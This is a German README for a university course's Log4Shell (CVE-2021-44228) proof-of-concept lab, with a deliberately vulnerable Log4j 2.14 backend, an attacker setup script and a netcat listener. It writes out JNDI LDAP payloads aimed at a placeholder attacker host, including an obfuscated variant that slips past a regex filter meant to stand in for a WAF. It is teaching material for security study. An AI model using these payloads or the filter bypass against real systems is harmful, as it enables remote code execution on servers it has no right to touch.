TPAS Log4Shell PoC

Dieses Repository enthält einen Proof of Concept (PoC) für die Log4Shell-Schwachstelle (CVE-2021-44228), der im Rahmen der Lehrveranstaltung TPAS des Masterstudiengangs Informationssicherheit an der FCUP entwickelt wurde.

Es umfasst:

• Ein React SPA Frontend, das eine generische E-Commerce-Website simuliert, mit grundlegenden Funktionen wie dem Durchsuchen von Produkten und der Anzeige von Details wie Beschreibung, Preis, Bewertung usw., bereitgestellt über die dummy json API https://dummyjson.com/docs/products
• Ein Spring Boot REST API Backend, das eine verwundbare Version von Log4j 2.14 verwendet.
• Ein Bash-Skript, das die meisten der für die Ausnutzung von Log4Shell erforderlichen Angreifer-Komponenten einrichtet.

Um diesen Stack auszuführen, müssen Sie:

• Auf dem Zielhost:
  • Docker installieren
  • Die <target_ip> in der Umgebungsvariablen NEXT_PUBLIC_BACKEND_URL in der docker-compose.yaml ersetzen
  • docker-compose up ausführen
• Auf dem Angreifer-Host:
  • Java, Python und Maven installieren
  • Die erforderlichen Ports öffnen, führen Sie "./init.sh --help" aus, um die Ports und die Funktion des Skripts zu sehen
  • Das Skript init.sh ausführen
  • Einen Netcat-Listener ausführen: nc -lvnp

Sobald alles läuft:

Platzieren Sie dieses Payload in der Suchleiste (URL-kodiert, da es in einem GET-Query-Parameter steht):

%24%7Bjndi%3Aldap%3A%2F%2F<attacker_host_ip>%3A<ldap_port>%2FExploit%7D

Oder platzieren Sie dieses Payload in den Headern einer Anfrage (Sie können Burp Suite verwenden, um eine Anfrage abzufangen und zu manipulieren):

${jndi:ldap://<attacker_host_ip>:<ldap_port>/Exploit}

Auf der Website gibt es ein Symbol neben dem Benutzernamen, mit dem Sie zwischen der Bereinigung der protokollierten Zeichenfolge mit dem regulären Ausdruck \$\{jndi:.*?} oder nicht umschalten können. Standardmäßig ist die Bereinigung deaktiviert, dargestellt durch ein rotes Dämon-Symbol. Wenn die Bereinigung aktiviert ist, ändert sich das Symbol in ein grünes Smiley-Gesicht.

Diese Funktion kann verwendet werden, um einen WAF-Bypass zu simulieren. Sie können weitere reguläre Ausdrücke in der LoggerManager.java-Klasse des Backends hinzufügen.

Hier ist ein Payload, der nicht vom aktuellen regulären Ausdruck erfasst wird:

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://<attacker_host_ip>:<ldap_port>/Exploit}